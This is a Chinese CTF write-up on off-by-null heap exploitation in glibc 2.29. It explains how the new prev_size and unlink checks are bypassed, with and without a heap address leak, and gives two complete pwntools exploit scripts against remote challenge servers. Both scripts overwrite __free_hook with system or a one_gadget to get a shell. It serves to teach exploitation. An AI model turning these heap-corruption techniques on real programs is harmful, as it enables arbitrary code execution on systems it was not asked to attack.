关于libc2.29中的off-by-null Surager

关于在libc2.29中的off-by-null

总述

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

libc2.29中对chunk consolidate新增的检测,需要保证prevsize和将要合并的size对应一致。这样的话,相比于libc2.23和2.27中的off-by-null,2.29中的off-by-null并不能直接通过合并三个chunk来得到一个overlapping的chunk。

这条检测之后是什么?

unlink_chunk (av, p);

直接执行unlink。因此还要满足unlink的检测。

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

所以在伪造unlink条件的时候还需要已知堆地址,之后可以得到一个包含正在使用的chunk的一个freed chunk。

因此,全新的利用方法可以是这样的:

  1. malloc三个chunk。
  2. 在chunk A中伪造chunk size和unlink的条件。
0xf50:	0x0000000000000000	0x0000000000000511
0xf60:	0x0000000000000000	0x0000000000000581
0xf70:	0x0000xxxxxxxxxf60	0x0000xxxxxxxxxf60
0xf80:	0x0000000000000000	0x0000000000000000
0xf90:	0x0000000000000000	0x0000000000000000
  1. 在chunk B中向chunk C溢出,并造成chunk C的prevsize和伪造的size对应,chunk C的prev_inuse为0。
  2. free(chunk C),得到一个包含B的unsorted chunk。
  3. malloc三次将三个chunk取回,并得到overlapping的chunk B。

这种利用方法需要在我们可以泄露堆地址的情况下。否则不能绕过unlink的检测。

如果没有明确的堆地址,则不能直接用这种方法构造。需要借助large bin的nextsize指针残留和fastbin的属性进行一定的堆空间布置。堆空间布置的结果跟已知堆空间的布置方法差不多。

  1. 构造一个large bin,在large bin中切割一个chunk甲,用它进行第一步布置。修改fd_nextsize指向一个可控的chunk乙。
0x0020:	0x0000000000000000	0x0000000000000521
0x0030:	0x0000xxxxxxxx0040	0x0000xxxxxxxx0010

注意这个0040是进行部分覆盖过后的。用于后面的small bin链表。并且这个chunk是可控的。(再次malloc可获得)

  1. 先free(一个无关的低二位为\x00的chunk),再free(chunk乙),之后申请一个大chunk,使这两个chunk进入small bin,修改chunk甲的bk指向fake_chunk。
0x0020:	0x0000000000000000	0x0000000000000521
0x0030:	0x0000xxxxxxxx0040	0x0000xxxxxxxx0010
0x0040: 0x0000000000000000	0x0000000000000031
0x0050: 0x0000000000000000	0x0000xxxxxxxx0020
  1. free(一个无关的低二位为\x00的chunk)再free(chunk甲)进fastbin,此时chunk甲的fd上有指针,再修改它指向fake_chunk,成功布局。
0x0020:	0x0000xxxxxxxx0020	0x0000000000000521
0x0030:	0x0000xxxxxxxx0040	0x0000xxxxxxxx0010
0x0040: 0x0000000000000000	0x0000000000000031
0x0050: 0x0000000000000000	0x0000xxxxxxxx0020

fd->bk=p并且bk->fd=p,可以绕过检测,接下来在下面构造off-by-null即可。

例题

Love_river

第一种构造方法我选择的是自己校赛的一道题,感谢aidai师傅。

程序直接给了堆地址,而且有一次off-by-null的机会,直接布置堆空间打hook。

int add()
{
  int v1; // ST0C_4
  int v2; // [rsp+8h] [rbp-8h]

  v2 = 0;
  while ( chunklist[v2] )
  {
    if ( ++v2 > 10 )
      return puts("Aquaman?");
  }
  puts("Size of info:");
  v1 = read_int();
  chunklist[v2] = malloc(v1);
  sizelist[v2] = v1;
  puts("Info:");
  my_read(chunklist[v2], v1);
  printf("Your girlfriend is at %p\n", chunklist[v2]);
  return puts("Done!");
}

int fakeedit()
{
  int v1; // ST08_4
  int v2; // ST0C_4
  int v3; // [rsp+4h] [rbp-Ch]

  if ( !dword_202014 )
    return puts("?");
  puts("Your girlfriend is NULL.");
  puts("index:");
  v3 = read_int();
  v1 = sizelist[v3];
  if ( v3 < 0 || v3 > 10 )
    exit(0);
  if ( chunklist[v3] )
  {
    v2 = sizelist[v3];
    puts("Info:");
    vul_read(chunklist[v3], v2);
    puts("Done!");
  }
  return dword_202014-- - 1;
}

exp:

from pwn import *

#io = process("./love_river")
io = remote("118.190.133.9",11000)
elf = ELF("./love_river")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'

def add(size, con):
    io.sendlineafter("choice:", '1')
    io.sendlineafter("info:", str(size))
    io.sendafter("Info:", con)
    io.recvuntil('0x')
    return int(io.recv(12), 16)

def edit(idx, con):
    io.sendlineafter("choice:", '4')
    io.sendlineafter("index:", str(idx))
    io.sendafter("Info:", con)

def free(idx):
    io.sendlineafter("choice:", '3')
    io.sendlineafter("index:", str(idx))


def show(idx):
    io.sendlineafter("choice:", '2')
    io.sendlineafter("index:", str(idx))


def fake_edit(idx,con):
    io.sendlineafter("choice:", '6')
    io.sendlineafter("index:", str(idx))
    io.sendafter("Info:", con)

def dbg():
    gdb.attach(io)
    pause()

for i in range(7):
    add(0xf8,'a')
chk1 = add(0xf8,'a')#7
chk2 = add(0xf8,'a')#8
chk3= add(0xf8,'a')#9
add(0x28,'a')#10
log.info('chk1 = '+hex(chk1))
payload = p64(0) + p64(0x1f1) + p64(chk1) + p64(chk1)
edit(7,payload)
payload = 'a'*0xf0 + p64(0x1f0)
fake_edit(8,payload)
for i in range(7):
    free(i)
free(9)
add(0xe8,'a')#0
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x1e4f61
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
for i in range(7):
    add(0xf8,'a')
free(10)
add(0xf8,'a')#10
free(1)
free(2)
free(8)
edit(10,p64(free_hook))
add(0xf8,'a')
add(0xf8,p64(system))
edit(3,'/bin/sh\x00')
free(3)
io.interactive()

这是我第一次做libc2.29的off-by-null。还是现学现卖的。

happyending

第二种构造方式是DASCTF x BJDCTF3rd的一道yds系列的完结题。

除了add里面有个off-by-null以外,其他没有啥了。

v0[read(0, bless_999[i], size)] = 0;

这道题跟Balsn CTF 2019 PlainNote这道题差不多,直接拿它的脚本改改也能出来,但是我做的是happyending这道题,因此就写这道题吧。

from pwn import *

#io = process("./happyending")

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'

def add(size,con):
    io.sendlineafter(">",'1')
    io.sendlineafter(":",str(size))
    io.sendafter("!",con)
    

def free(idx):
    io.sendlineafter(">",'2')
    io.sendlineafter(":",str(idx))
    

def show(idx):
    io.sendlineafter(">",'3')
    io.sendlineafter(":",str(idx))

def dbg():
    gdb.attach(io)
    pause()


while 1:
	try:
		io = remote("183.129.189.60",10106)

		for i in range(7):
		    add(0x1000,'a')#0-6
		add(0x1000-0x410,'a')#7
		for i in range(7):
		    add(0x28,'a')#8-14
		add(0xb20,'a')#15
		add(0x10,'a')#16
		free(15)

		add(0x1000,'\n')#15
		add(0x28,p64(0)+p64(0x521)+p8(0x40))#17

		for i in range(4):
		    add(0x28,'a')#18-21

		for i in range(7):
		    free(8+i)#8-14
		free(20)
		free(18)
		
		for i in range(7):
		    add(0x28,'a')#8-14
		add(0x400,'a')#18
		add(0x28,p64(0)+p8(0x20))#
		
		add(0x28,'a')#21
		for i in range(7):
		    free(8+i)#8-14
		    
		free(19)
		free(17)
		
		for i in range(7):
		    add(0x28,'a')
		add(0x28,p8(0x20))#17
		
		add(0x28,'a')#19
		add(0x28,'a')#23
		add(0x5f8,'a')#24
		add(0x100,'a')#25

		free(23)
		add(0x28,'a'*0x20+p64(0x520))
		free(24)

		add(0x40,'a')
		show(19)
		libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e4ca0

		log.info(hex(libc_base))
		for i in range(7):
			add(0x58,'a')#26-32
		add(0x58,'a')#33
		add(0x58,'a')#34
		for i in range(7):
			free(27+i)
		free(19)
		free(34)
		free(26)
		one = libc_base + 0x106ef8
		for i in range(7):
			add(0x58,'a')
		add(0x58,p64(libc.sym['__free_hook']+libc_base))
		add(0x58,'a')
		add(0x58,p64(one))
		add(0x58,p64(one))
		
		io.interactive()
	except EOFError:
		io.close()
		continue

io.interactive()

本次比赛就做了这一个题,本题还没拿到一血,别的题也不会,惨惨。

具体参考:https://bbs.pediy.com/thread-257901.htm